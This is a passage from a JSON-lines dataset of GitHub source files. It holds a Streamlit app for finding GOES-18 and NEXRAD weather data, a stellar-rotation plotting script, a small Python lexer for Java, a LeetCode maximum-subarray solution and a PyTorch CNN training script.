%(message)s',\n level=LOGLEVEL,\n datefmt='%Y-%m-%d %H:%M:%S',\n filename='logs.log')\n\n#initialize the S3 client\ns3 = boto3.client(\"s3\")\n\nstates = [\"AK\", \"AL\", \"AR\", \"AZ\", \"CA\", \"CO\", \"CT\", \"DC\", \"DE\", \"FL\", \"GA\", \"HI\", \n\"IA\", \"ID\", \"IL\", \"IN\", \"KS\", \"KY\", \"LA\", \"MA\", \"MD\", \"ME\", \"MI\", \"MN\", \"MO\", \"MS\",\n \"MT\", \"NC\", \"ND\", \"NE\", \"NH\", \"NJ\", \"NM\", \"NV\", \"NY\", \"OH\", \"OK\", \"OR\", \"PA\", \"RI\", \n \"SC\", \"SD\", \"TN\", \"TX\", \"UT\", \"VA\", \"VT\", \"WA\", \"WI\", \"WV\", \"WY\"]\n\nnexrad_stations = {\n\"AK\": [\"PAHC\", \"PAHO\", \"PAJK\", \"PAKN\"],\n\"AL\": [\"KBMX\", \"KHTX\", \"KMXX\", \"KEOX\"],\n\"AR\": [\"KLZK\", \"KLRF\", \"KSHV\"],\n\"AZ\": [\"KEMX\", \"KFDX\", \"KPSR\"],\n\"CA\": [\"KDAX\", \"KHNX\", \"KMUX\"],\n\"CO\": [\"KCYS\", \"KFTG\", \"KGRB\"],\n\"CT\": [\"KOKX\"],\n\"DC\": [\"KLWX\"],\n\"DE\": [\"KDOX\"],\n\"FL\": [\"KAMX\", \"KBYX\", \"KEYW\", \"KMLB\"],\n\"GA\": [\"KFFC\", \"KJGX\"],\n\"HI\": [\"PHKI\"],\n\"IA\": [\"KDMX\", \"KDVX\", \"KOAX\"],\n\"ID\": [\"KBOI\", \"KIDA\", \"KPIH\"],\n\"IL\": [\"KILX\", \"KLOT\"],\n\"IN\": [\"KIND\", \"KLOT\"],\n\"KS\": [\"KDDC\", \"KGLD\", \"KICT\"],\n\"KY\": [\"KLMK\", \"KPAH\"],\n\"LA\": [\"KLCH\", \"KLIX\"],\n\"MA\": [\"KBOX\"],\n\"MD\": [\"KMTN\"],\n\"ME\": [\"KGYX\"],\n\"MI\": [\"KGRR\", \"KDTX\"],\n\"MN\": [\"KMPX\"],\n\"MO\": [\"KDZX\", \"KSGF\"],\n\"MS\": [\"KJAN\", \"KMOB\"],\n\"MT\": [\"KGGW\", \"KTFX\"],\n\"NC\": [\"KGSP\", \"KMHX\"],\n\"ND\": [\"KBIS\", \"KFGF\"],\n\"NE\": [\"KLBF\", \"KOAX\"],\n\"NH\": [\"KGYX\"],\n\"NJ\": [\"KPHI\"],\n\"NM\": [\"KABQ\", \"KFMX\"],\n\"NV\": [\"KREV\"],\n\"NY\": [\"KALY\", \"KBGM\"],\n\"OH\": [\"KCLE\", \"KILN\"],\n\"OK\": [\"KFDR\", \"KOUN\"],\n\"OR\": [\"KPDT\", \"KRTX\"],\n\"PA\": [\"KCCX\", \"KPBZ\"],\n\"RI\": [\"KBOX\"],\n\"SC\": [\"KCAE\", \"KCHS\"],\n\"SD\": [\"KABR\", \"KFSD\"],\n\"TN\": [\"KHTX\", \"KMEG\"],\n\"TX\": [\"KBRO\", \"KCRP\", \"KEWX\", \"KFWD\", \"KGRK\", \"KHGX\", \"KLCH\", \"KLZK\", \"KMAF\", \"KMRX\", \"KSHV\", \"KSJT\"],\n\"UT\": [\"KPUC\"],\n\"VT\": [\"KBTV\"],\n\"VA\": [\"KAKQ\", \"KLWX\", \"KMHX\"],\n\"WA\": [\"KATX\", \"KOTX\"],\n\"WV\": [\"KRLX\"],\n\"WI\": [\"KARX\", \"KGRB\", \"KMKX\"],\n\"WY\": [\"KCYS\", \"KRIW\"]\n}\n\ndef fetch_files_by_fields(product, year, day, hour):\n # Search the files by filtering through the fields\n\n pass\n\ndef fetch_file_by_filename(filename):\n # Search the file by its complete name\n pass\n\ndef goes_fetch_file_by_filename(file_name):\n # # Search the file by its complete name\n # pattern = re.compile(r'OR_ABI-L1b-RadC-M\\dC\\d\\d_G\\d\\d_s\\d{15}_e\\d{15}_c\\d{15}\\.nc')\n # if not pattern.match(filename):\n # raise ValueError(\"Invalid filename format\")\n \n # elements = filename.split(\"_\")\n # year = elements[3][3:7]\n # day_of_year = elements[3][7:10]\n # path = f\"ABI-L1b-RadC/{year}/{day_of_year}/{elements[4][0:3]}/\"\n # link = f\"https://noaa-goes18.s3.amazonaws.com/{path}{filename}\"\n \n # return link\n input_url = \"https://noaa-goes18.s3.amazonaws.com/\"\n file_name = file_name.strip()\n file_list = file_name.split(\"_\")\n sublist=file_list[1].split(\"-\")\n if (sublist[2].isalpha()) is False:\n sublist[2] = sublist[2][:-1]\n sublist_date = file_list[3]\n\n final_url = input_url+\"-\".join(sublist[0:3])+'/'+sublist_date[1:5]+'/'+sublist_date[5:8]+'/'+sublist_date[8:10]+'/'+file_name\n\n return final_url\n\ndef copy_file_to_bucket(file_path):\n # Copy the selected file to your S3 bucket\n pass\n\ndef retrieve_url_from_bucket(file_path):\n # Retrieve the URL of the file from your S3 bucket\n pass\n\ndef goes_main():\n #st.set_page_config(page_title=\"GOES Satellite Sites\", page_icon=\":satellite:\", layout=\"wide\")\n\n st.title(\"GOES-18 Satellite File Downloader\")\n st.markdown(\n \"\"\"\n \n

Find the Latest GOES radar Data

\n

Use the following options to search for GOES radar data.

\n \"\"\",\n unsafe_allow_html=True,\n )\n\n ##search options\n #search_by_fields = st.sidebar.radio (\"Select an option:\",['Search by entering fields', 'Search by field']) #use st.radio? \n #search_by_filename = st.sidebar.radio(\"Search by filename\")\n download_option = st.sidebar.radio (\"Use following to search for GOES radar data:\",['Search by entering fields', 'Search by filename'])\n # add while loop to display something until none of the radio button/checkboxes are selected? \n\n # search by fields\n if (download_option == \"Search by entering fields\"):\n st.write(\"Select all options in this form to download \")\n goes18_data = scrape_goes18_data()\n product_box = st.selectbox(\"Product name: \", goes18_data['product'].unique().tolist(), disabled = True, key=\"selected_product\")\n #station = goes18_data['product'].unique()\n year_box = st.selectbox(\"Year for which you are looking to get data for: \", [\"--\"]+goes18_data['year'].unique().tolist(), key=\"selected_year\")\n #month = st.selectbox(\"Month\", range(1,13), key='month')\n if (year_box == \"--\"):\n st.warning(\"Please select an year!\")\n else:\n days_in_selected_year = goes18_data.loc[goes18_data['year']==year_box]['day'].unique().tolist()\n #if year==2022:\n # day = st.selectbox(\"Day for which you are looking to get data for\", range(209,366), key='day')\n #elif year==2023:\n # day = st.selectbox(\"Day\", range(1,33), key='day')\n day_box = st.selectbox(\"Day within year for which you want data: \", [\"--\"]+days_in_selected_year, key=\"selected_day\")\n if (day_box == \"--\"):\n st.warning(\"Please select a day!\")\n else:\n hours_in_selected_day = goes18_data.loc[goes18_data['day']==day_box]['hour'].unique().tolist() \n hour_box = st.selectbox(\"Hour of the day for which you want data: \", [\"--\"]+hours_in_selected_day, key='selected_hour')\n if (hour_box == \"--\"):\n st.warning(\"Please select an hour!\")\n else: \n #display selections\n st.write(\"Current selections, Product: \", product_box, \", Year: \", year_box, \", Day: \", day_box, \", Hour: \", hour_box)\n\n #files = fetch_files_by_fields(product_box, year_box, day_box, hour_box)\n ## new line added for spinner\n with st.spinner(\"Loading...\"):\n files_in_selected_hour = list_files_in_goes18_bucket(product_box, year_box, day_box, hour_box)\n\n if files_in_selected_hour:\n file_box = st.selectbox(\"Select a file: \", files_in_selected_hour, key='selected_file')\n if file_box:\n with st.spinner(\"Loading...\"):\n download_url = copy_goes_file_to_user_bucket(file_box, product_box, year_box, day_box, hour_box)\n #url = retrieve_url_from_bucket(file_path)\n if (download_url):\n st.success(\"File available for download.\")\n if (st.button(\"Download file\")):\n st.write(\"URL to download file:\", download_url)\n else: \n st.write(\"Something went wrong, unable to download file.\")\n else:\n st.warning(\"Something went wrong, no files found.\")\n\n \n #search by filename\n if (download_option == \"Search by filename\"):\n filename_entered = st.text_input(\"Enter the filename\")\n\n with st.spinner(\"Loading...\"):\n final_url = generate_goes_url(filename_entered)\n #file = goes_fetch_file_by_filename(filename)\n\n if (final_url == -1):\n st.warning(\"No such file exists at GOES18 location\")\n elif (final_url == 1):\n st.error(\"Invalid filename format for GOES18\")\n else: \n st.success(\"Link of the file available on GOES bucket:\", final_url)\n \ndef nexrad_main():\n #st.set_page_config(page_title=\"NEXRAD Doppler Radar Sites\", page_icon=\":radar_dish:\", layout=\"wide\")\n\n st.title(\"NEXRAD Doppler Radar Sites\")\n st.markdown(\n \"\"\"\n \n

Find the Latest NEXRAD Radar Data

\n

Use the following options to search for NEXRAD radar data.

\n \"\"\",\n unsafe_allow_html=True,\n )\n\n ##search options\n search_by_fields = st.sidebar.checkbox(\"Search by Fields\")\n search_by_filename = st.sidebar.checkbox(\"Search by Filename\")\n\n # search by fields\n if search_by_fields:\n year = st.selectbox(\"Year\", [2020, 2021, 2022, 2023], key='year')\n month = st.selectbox(\"Month\", range(1,13), key='month')\n day = st.selectbox(\"Day\", range(1,32), key='day')\n state = st.selectbox(\"State\", states, key='state')\n station = st.selectbox(\"NEXRAD Station\", nexrad_stations[state], key='station')\n\n #display selections\n st.write(\"Selected values: Year:\", year, \", Month:\", month, \", Day:\", day, \", State:\", state, \", Station:\", station)\n\n with st.spinner(\"Loading...\"):\n files = fetch_files_by_fields(year, month, day, state, station)\n\n if files:\n file_select = st.selectbox(\"Select a file\", files, key='file')\n else:\n st.warning(\"No files found.\")\n\n if file_select:\n with st.spinner(\"Loading...\"):\n file_path = copy_file_to_bucket(file_select)\n url = retrieve_url_from_bucket(file_path)\n st.write(\"URL of the selected file:\", url)\n st.success(\"File copied successfully.\")\n\n # search by filename\n if search_by_filename:\n filename = st.text_input(\"Enter the filename\")\n\n with st.spinner(\"Loading...\"):\n file = fetch_file_by_filename(filename)\n\n if file:\n st.write(\"Link of the file available on NEXRAD bucket:\", file)\n\ndef map_main():\n # st.title(\"Map Page\")\n st.markdown(\n \"\"\"\n

\n Map Page\n

\n \"\"\",\n unsafe_allow_html=True,\n )\n\n with st.spinner(\"Loading...\"):\n map_data = scraper_mapdata.plot_nexrad_locations()\n st.plotly_chart(map_data, use_container_width=True, height=700)\n\n# def main():\n# st.set_page_config(page_title=\"Weather Data Files\", layout=\"wide\")\n# page = st.sidebar.selectbox(\"Select a page\", [\"GOES-18\", \"NEXRAD\", \"NEXRAD Locations - Map\"])\n\n# if page == \"GOES-18\":\n# goes_main()\n# elif page == \"NEXRAD\":\n# nexrad_main()\n# elif page == \"NEXRAD Locations - Map\":\n# map_main()\n\ndef main():\n st.set_page_config(page_title=\"Weather Data Files\", layout=\"wide\")\n page = st.sidebar.selectbox(\"Select a page\", [\"GOES-18\", \"NEXRAD\", \"NEXRAD Locations - Map\"])\n\n if page == \"GOES-18\":\n with st.spinner(\"Loading...\"): #spinner element\n goes_main()\n elif page == \"NEXRAD\":\n with st.spinner(\"Loading...\"): #spinner element\n nexrad_main()\n elif page == \"NEXRAD Locations - Map\":\n with st.spinner(\"Generating map...\"): #spinner element\n map_main()\n\nif __name__ == \"__main__\":\n logging.info(\"Application script starts\")\n main()\n logging.info(\"Application script ends\")","repo_name":"vrajm1209/big-data-tutorials","sub_path":"aws/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":11772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"969705888","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport paths\nimport numpy as np\nimport pandas as pd\n\nfrom astropy.table import Table\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nmpl.rcParams[\"figure.dpi\"] = 100\nmpl.rcParams[\"savefig.bbox\"] = \"tight\"\nmpl.rcParams[\"savefig.dpi\"] = 300\n\nimport seaborn as sns\nimport astropy.constants as c\nfrom scipy import interpolate\nfrom labellines import labelLine, labelLines\n\nsun = {\"teff\": 5772,\n \"prot\": 25.4,\n \"e_prot\": 25.4-24.5,\n \"E_prot\": 27-25.4\n }\n\nsun[\"logg\"] = np.log10(c.GM_sun.cgs.value/c.R_sun.cgs.value**2)\n\n\n\ndef convective_turnover_timescale(teff):\n #Returns convective turnover timescale in days\n #Gunn et al. 1998 relation, from Cranmer & Saar 2011\n return 314.24*np.exp(-(teff/1952.5) - (teff/6250.)**18.) + 0.002\n\n\ndef constant_rossby(teff, ro):\n #Return locus of rotation periods corresponding to constant Rossby number\n return ro * convective_turnover_timescale(teff)\n\n# Curtis et al. 2020 table\ndef curtis_bprp_teff(bprp):\n #Estimating effective temperature from the dereddened Gaia DR2 (Bp-Rp) color\n bprp = np.array(bprp)\n coeff = [-416.585, 39780.0, -84190.5, 85203.9, -48225.9, 15598.5, -2694.76, 192.865] \n teff = np.array([np.sum([co*_bprp**i for i,co in enumerate(coeff)]) for _bprp in bprp])\n mask = (bprp>=0.55) & (bprp<=3.25)\n teff[~mask] = np.nan\n return teff\n\ndef curtis_gyrochrone(bprp, kind):\n bprp = np.array(bprp)\n \n if kind=='kepler': #Kepler lower envelope\n bprp_min, bprp_max = 0.6, 2.1\n coeff = [36.4756, -202.718, 414.752, -395.161, 197.800, -50.0287, 5.05738]\n \n elif kind=='pleiades-ro':\n bprp_min, bprp_max = 0.6, 1.3\n coeff = [37.068, -188.02, 332.32, -235.78, 60.395]\n\n elif kind=='pleiades-quad':\n bprp_min, bprp_max = 0.6, 1.3\n coeff = [-8.467, 19.64, -5.438]\n \n elif kind=='praesepe':\n bprp_min, bprp_max = 0.6, 2.4\n coeff = [-330.810, 1462.48, -2569.35, 2347.13, -1171.90, 303.620, -31.9227]\n \n elif kind=='ngc6811':\n bprp_min, bprp_max = 0.65, 1.95 \n coeff = [-594.019, 2671.90, -4791.80, 4462.64, -2276.40, 603.772, -65.0830]\n \n elif kind=='ngc752':\n bprp_min, bprp_max = 1.32, 2.24\n coeff = [6.80, 5.63] \n \n elif kind=='ngc6819+ruprecht147':\n bprp_min, bprp_max = 0.62, 2.07\n coeff = [-271.783, 932.879, -1148.51, 695.539, -210.562, 25.8119]\n \n prot = np.array([np.sum([co*_bprp**i for i,co in enumerate(coeff)]) for _bprp in bprp])\n mask = (bprp>=bprp_min) & (bprp<=bprp_max)\n prot[~mask] = np.nan\n \n return prot\n \n\n#Re-casting the Curtis et al. 2020 polynomial relations in Teff\n\ndef curtis_teff_gyrochrone(teff, kind):\n \n _bprp = np.linspace(0,5,10000)\n _teff = curtis_bprp_teff(_bprp)\n _prot = curtis_gyrochrone(_bprp, kind)\n \n _ = (np.isfinite(_teff)) & (np.isfinite(_prot))\n \n # Be cognizant that using \"extrapolate\" means the resulting relations will be unreliable\n # outside the Teff ranges over which they were derived, but for our purposes it is effective \n f = interpolate.interp1d(_teff[_], _prot[_], kind='cubic', fill_value='extrapolate')\n \n return f(teff)\n\n\ndef curtis_teff_bprp(teff):\n #Invert Teff-BpRp relation\n \n _bprp = np.linspace(0.55,3.25,10000)\n _teff = curtis_bprp_teff(_bprp)\n \n _ = (np.isfinite(_teff)) & (np.isfinite(_bprp))\n \n # Be cognizant that using \"extrapolate\" means the resulting relations will be unreliable\n # outside the Teff ranges over which they were derived, but for our purposes it is effective \n f = interpolate.interp1d(_teff[_], _bprp[_], kind='cubic', fill_value='extrapolate')\n \n return f(teff)\n\n\n\n\n######################################################################################\n#McQuillan et al. 2013\nmcq_koi = Table.read(\"https://cdsarc.cds.unistra.fr/ftp/J/ApJ/775/L11/table1.dat\",\n readme=\"https://cdsarc.cds.unistra.fr/ftp/J/ApJ/775/L11/ReadMe\",\n format=\"ascii.cds\")\nmcq_koi = mcq_koi.to_pandas()\nmcq_koi = mcq_koi.add_prefix('mcq_')\n\n\n#McQuillan et al. 2014\nmcq = pd.read_parquet(paths.data / 'mcquillan2014_table1.parquet')\n######################################################################################\n\n\n######################################################################################\n# California-Kepler Survey (Fulton & Petigura 2018)\n# This data table has been augmented with data from other surveys (see David et al. 2021)\ncks = pd.read_parquet(paths.data / 'cks_merged.parquet')\n# The dataframe has a row entry for each KOI, meaning individual star are represented N times\n# where N is the number of KOIs detected around that star so we drop duplicates.\ncks = cks.drop_duplicates(subset=['kepid'], keep='first')\ncks = cks.merge(mcq_koi, how='left', left_on='kepid', right_on='mcq_KIC')\n######################################################################################\n\n\n######################################################################################\n# LAMOST-Kepler \nlam = pd.read_parquet(paths.data / 'kepler_lamost.parquet')\nprint('LAMOST unique KIC targets:', len(np.unique(lam[\"KIC\"])))\nprint('LAMOST unique DR2 targets:', len(np.unique(lam[\"DR2Name\"])))\n\n# Drop duplicate sources, keeping the one with the brighter G magnitude\nlam = lam.sort_values([\"KIC\", \"Gmag\"], ascending = (True, True))\nlam = lam.merge(mcq, how='left', left_on=\"KIC\", right_on=\"mcq_KIC\")\nlam = lam.drop_duplicates(subset=['KIC'], keep='first')\n\nlam_mask = (lam[\"Teff_lam\"]>3000)\nlam_mask = (lam[\"Teff_lam\"]<8000)\nlam_mask &= (lam[\"logg_lam\"]>3)\nlam_mask &= (lam[\"logg_lam\"]<5)\nlam_mask &= (abs(lam[\"feh_lam\"])<2)\nlam = lam[lam_mask]\n\nprint('LAMOST unique KIC targets:', len(np.unique(lam[\"KIC\"])))\nprint('LAMOST unique DR2 targets:', len(np.unique(lam[\"DR2Name\"])))\nprint('Median LAMOST Teff error:', np.median(lam[\"e_Teff_lam\"]))\n######################################################################################\n\n######################################################################################\nhall = Table.read(\"https://cdsarc.cds.unistra.fr/ftp/J/other/NatAs/5.707/table1.dat\",\n readme=\"https://cdsarc.cds.unistra.fr/ftp/J/other/NatAs/5.707/ReadMe\",\n format=\"ascii.cds\")\n\nhall.info()\n######################################################################################\n\nsns.set(style='ticks', font_scale=1.4, context='paper')\n\nsns.set(style='ticks', font_scale=1.6, context='paper')\n\nfig,(ax1,ax2,ax3) = plt.subplots(nrows=1, ncols=3, \n figsize=(15,6))\n\nsns.kdeplot(\n x=cks[\"cks_Teff\"], \n y=cks[\"mcq_Prot\"], \n fill=True, \n bw_adjust=0.5,\n ax=ax1\n)\n\nsns.kdeplot(\n x=lam[\"Teff_lam\"], \n y=lam[\"Prot\"], \n fill=True, \n bw_adjust=0.25,\n ax=ax2\n)\n\nsns.kdeplot(\n x=hall[\"Teff\"], \n y=hall[\"P\"], \n fill=True, \n bw_adjust=0.5,\n ax=ax3\n)\n\n\nfor ax in [ax1,ax2,ax3]:\n \n ax.set_xlim(6750,4500)\n ax.set_ylim(-1,41)\n ax.set_xlabel(\"Effective temperature [K]\")\n ax.set_ylabel(\"Rotation period [d]\")\n \n\n gyro_sequences = ['pleiades-ro', 'praesepe', 'ngc6811', 'ngc6819+ruprecht147']\n gyro_ages = ['0.12 Gyr', '0.67 Gyr', '1 Gyr', '2.5 Gyr']\n _teff = np.linspace(4500,6250,1000)\n\n for i,seq in enumerate(gyro_sequences):\n ax.plot(_teff, curtis_teff_gyrochrone(_teff, kind=seq), label=gyro_ages[i], color='k', lw=3, alpha=0.5)\n \n for i,_ro in enumerate([0.4,1.45,2]):\n ax.plot(_teff, constant_rossby(_teff, _ro), 'orange', lw=3, ls='--', alpha=0.5, label=\"Ro = \"+str(_ro)) \n \n labelLines(ax.get_lines(), \n outline_color='#eeeeee',\n outline_width=3,\n xvals=(4500, 5600), \n zorder=2.5, \n size=9) \n \n \n ax.plot(sun[\"teff\"], sun[\"prot\"], 'o', color='C1', label='Sun')\n ax.errorbar(sun[\"teff\"], sun[\"prot\"], yerr=np.vstack([sun[\"e_prot\"], sun[\"E_prot\"]]), fmt=\"o\", \n color=\"C1\", mec=\"white\", ms=6)\n \n\nax1.set_title('CKS–McQuillan')\nax2.set_title('LAMOST–McQuillan')\nax3.set_title('Hall et al. 2021')\nsns.despine()\nplt.tight_layout()\nplt.savefig(paths.figures / 'kde.pdf')\n","repo_name":"trevordavid/rossby-ridge","sub_path":"src/scripts/kde.py","file_name":"kde.py","file_ext":"py","file_size_in_byte":8272,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"39260900791","text":"import sys\nfrom enum import Enum, unique\n\n# 定义字符类型\n@unique\nclass EnumType(Enum):\n letter = 0\n digit = 1\n operator = 2\n separator = 3\n keyword = 4\n\n# 针对每个字符类型，给定阈值\nclass Type: \n '''\n REs are defined followed.\n -- digit\n -- letter\n -- operator\n -- separator\n -- keyword\n \n Defined by myself:\n ID -> ( | )*\n NUMBER -> ()*\n '''\n digit = [\n '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'\n ]\n\n letter = [\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', \n 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', \n 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', \n 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n ]\n\n operator = [\n '+', '-', '*', '/', '%', '>', '<', '=', '&', '|', '~', '>=', '<=', \n '==', '!=', '&&', '||', '++', '+=', '-=', '(', ')', '[', ']', '.', \n '\"'\n ]\n\n separator = [\n ',', ';', '{', '}', '\\', \"\\\\\", ''', '\"', '\\t', '\\n'\n ]\n\n keyword = [\n 'abstract', 'boolean', 'break', 'byte', 'case', 'catch', 'char', 'class', \n 'const', 'continue', 'default', 'do', 'double', 'else', 'enum', 'extends', \n 'false', 'final', 'finally', 'float', 'for', 'if', 'implements', 'import', \n 'int', 'interface', 'long', 'new', 'null', 'package', 'private', 'protected', \n 'public', 'return', 'short', 'static', 'super', 'switch', 'this', 'throw', 'throws', \n 'try', 'true', 'void', 'while'\n ]\n \n def __init__(self):\n super().__init__()\n \n \n # 判定字符类型方法\n @staticmethod\n def TypeJudge(ch):\n if ch in Type.letter:\n return EnumType.letter\n \n if ch in Type.digit:\n return EnumType.digit\n \n if ch in Type.operator:\n return EnumType.operator\n \n if ch in Type.separator:\n return EnumType.separator\n \n if ch in Type.keyword:\n return EnumType.keyword\n \n if ch==\" \":\n return False\n\n# 定义自动机状态\n@unique\nclass State(Enum):\n '''\n Defined States\n '''\n State0 = 0 # initial\n State1 = 1 # letter\n State2 = 2 # digit\n State3 = 3 # operator\n State4 = 4 # separator\n State5 = 5 # keyword\n\n# 状态转移表，soft coding的关键\ntransM = {\n State.State0 : {\n EnumType.letter : State.State1,\n EnumType.digit : State.State2,\n EnumType.operator : State.State3,\n EnumType.separator : State.State4,\n EnumType.keyword : State.State5\n },\n State.State1 : {\n EnumType.digit : State.State1,\n EnumType.letter : State.State1\n },\n State.State2 : {\n EnumType.digit : State.State2\n },\n State.State3 : {\n EnumType.operator : State.State3\n },\n State.State4 : {\n\n },\n State.State5 : {\n\n }\n}\n\n# 为输出所定义的State-->名称转换\nState2Str = {\n State.State0 : \"\",\n State.State1 : \"ID\",\n State.State2 : \"DIGIT\",\n State.State3 : \"OPERATOR\",\n State.State4 : \"SEPARATOR\",\n State.State5 : \"KEYWORD\"\n}\n\n\n# 获取自动机状态\ndef getStrOFstate(nowState):\n return State2Str[nowState]\n\n\n# 获取下一状态\ndef getNextState(nowState : State, ch):\n Enum_Type = Type.TypeJudge(ch)\n if not Enum_Type:\n return False\n\n if Enum_Type not in transM[nowState]:\n return False\n \n return transM[nowState][Enum_Type]\n\n'''\n IO function:\n -- FileRead(): 读取源码\n -- FileWrite(): 输出Token序列\n'''\n\n# 文件读入，输入\ndef FileRead(input_file_path):\n with open(input_file_path, 'r', encoding='UTF-8') as f:\n input_str = f.read()\n out_str_1 = input_str.replace(\"\\n\", \"\")\n out_str_2 = out_str_1.replace(\"\\t\", \"\")\n return out_str_2\n\n# 输出token结果序列\ndef FileWrite(output_file_path, TokenList):\n with open(output_file_path, 'w') as f:\n for i in TokenList:\n f.write(i + \"\\n\")\n\n# scan主函数\ndef LexScan(in_file_path, out_file_path):\n # 读入文件字符流\n ch_stream = FileRead(in_file_path)\n # 定义结果token list\n TokenList = []\n # 初始状态为state0\n nowState = State.State0\n word = ''\n # 开始遍历字符流\n for ch in ch_stream:\n # 跳过空格\n if word == \"\" and ch==\" \":\n continue\n \n # 到达正则表达式结尾或产生错误信息\n if(not getNextState(nowState, ch)):\n if word in Type.keyword:\n TokenList.append(\"\".format(word))\n else:\n TokenList.append(\"<{0}, {1}>\".format(getStrOFstate(nowState), word))\n \n nowState = State.State0\n word = ''\n if not ch==\" \":\n word = ch\n nowState = getNextState(nowState, ch)\n else:\n nowState = getNextState(nowState, ch)\n word += ch\n \n TokenList.append(\"<{0}, {1}>\".format(getStrOFstate(nowState), word))\n\n # 输出token list\n FileWrite(out_file_path, TokenList)\n\nif __name__ == \"__main__\":\n print(\"enter arguement for the program as 'input.java output.txt'\")\n inputfile, outputfile = input().split(\" \")\n LexScan(inputfile, outputfile)\n\n\n\n\n","repo_name":"Yedaxia1/SEU-Software-Engineering","sub_path":"程序猿/编译原理/Lab/编译原理Lab_71118415_叶宏庭/Lex/lex.py","file_name":"lex.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"38568007965","text":"\"\"\"\nGiven an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.\n\n \n\nExample 1:\n\nInput: nums = [-2,1,-3,4,-1,2,1,-5,4]\nOutput: 6\nExplanation: [4,-1,2,1] has the largest sum = 6.\nExample 2:\n\nInput: nums = [1]\nOutput: 1\n\"\"\"\n\nfrom typing import List\n\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n highest = nums[0]\n currentHighest = nums[0]\n for idx, num in enumerate(nums):\n if idx == 0: continue\n print('num', num)\n print('streak', num + currentHighest)\n print('highest', highest)\n currentHighest = max(num, num + currentHighest)\n if currentHighest > highest:\n print('change highest to = ', currentHighest)\n highest = currentHighest\n print(\"----\")\n return highest\n\nsolution = Solution()\nprint('Answer = ', solution.maxSubArray([-2,1,-3,4,-1,2,1,-5,4]))\nprint('Answer = ', solution.maxSubArray([-2,1,-3,4,-1,2,1,-5,4, 13]))\n","repo_name":"ronelvcabrera/leetcoding","sub_path":"maximum_subarray.py","file_name":"maximum_subarray.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9650526876","text":"\nimport torch.nn as nn\nimport torch\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR, OneCycleLR\nimport torch.nn.functional as F\nfrom tqdm import tqdm\n\n\ntrain_losses = []\ntest_losses = []\ntrain_acc = []\ntest_acc = []\n\n\n\n\nclass depthwise_separable_conv(nn.Module):\n def __init__(self, nin, kernels_per_layer, nout): \n super(depthwise_separable_conv, self).__init__() \n \n self.depthwise = nn.Sequential(\n nn.Conv2d(nin, nin * kernels_per_layer, kernel_size=3, padding=1, groups=nin, bias=False), \n nn.BatchNorm2d(nin * kernels_per_layer),\n nn.ReLU()\n )\n\n self.pointwise = nn.Sequential(\n nn.Conv2d(nin * kernels_per_layer, nout, kernel_size=1, padding=1, bias=False),\n nn.BatchNorm2d(nout),\n nn.ReLU()\n )\n \n def forward(self, x): \n out = self.depthwise(x) \n out = self.pointwise(out) \n return out\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n self.block1 = nn.Sequential(\n nn.Conv2d(3, 32, 3, padding=1, bias=False),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n\n depthwise_separable_conv(32, 1, 32), \n depthwise_separable_conv(32, 1, 32), \n depthwise_separable_conv(32, 1, 32), \n #nn.Dropout(dropout_value)\n )\n\n self.transblock1 = nn.Sequential(\n nn.Conv2d(32, 32, 3, stride=2, bias=False, dilation=2),\n nn.BatchNorm2d(32),\n nn.ReLU()\n )\n\n self.block2 = nn.Sequential(\n nn.Conv2d(32, 64, 3, padding=1, bias=False),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n\n depthwise_separable_conv(64, 1, 64), \n depthwise_separable_conv(64, 1, 64), \n depthwise_separable_conv(64, 1, 64), \n )\n\n self.transblock2 = nn.Sequential( \n nn.Conv2d(64, 16, 3, stride=2, bias=False, dilation=2),\n nn.BatchNorm2d(16),\n nn.ReLU()\n )\n\n self.block3 = nn.Sequential(\n nn.Conv2d(16, 32, 3, padding=1, bias=False),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n depthwise_separable_conv(32, 1, 32), \n depthwise_separable_conv(32, 1, 32), \n depthwise_separable_conv(32, 1, 32), \n )\n\n self.transblock3 = nn.Sequential(\n nn.Conv2d(32, 32, 3, stride=2, bias=False, dilation=2),\n nn.BatchNorm2d(32),\n nn.ReLU()\n )\n\n self.block4 = nn.Sequential(\n nn.Conv2d(32, 32, 3, bias=False),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n\n depthwise_separable_conv(32, 1, 32), \n\n nn.Conv2d(32, 42, 3, bias=False),\n nn.BatchNorm2d(42),\n nn.ReLU(),\n\n\n nn.AvgPool2d(4),\n nn.Conv2d(42, 32, 1, bias=False),\n nn.Conv2d(32, 10, 1, bias=False)\n \n )\n\n def forward(self, x):\n x = self.block1(x)\n x = self.transblock1(x)\n\n x = self.block2(x)\n x = self.transblock2(x)\n\n x = self.block3(x)\n x = self.transblock3(x)\n\n x = self.block4(x)\n x = x.view(-1, 10)\n x = F.log_softmax(x, dim=-1)\n return x\n\n\ndef train(model, device, train_loader, optimizer, epoch):\n model.train()\n pbar = tqdm(train_loader)\n correct = 0\n processed = 0\n for batch_idx, (data, target) in enumerate(pbar):\n # get samples\n data, target = data.to(device), target.to(device)\n\n # Init\n optimizer.zero_grad()\n # In PyTorch, we need to set the gradients to zero before starting to do backpropragation because PyTorch accumulates the gradients on subsequent backward passes. \n # Because of this, when you start your training loop, 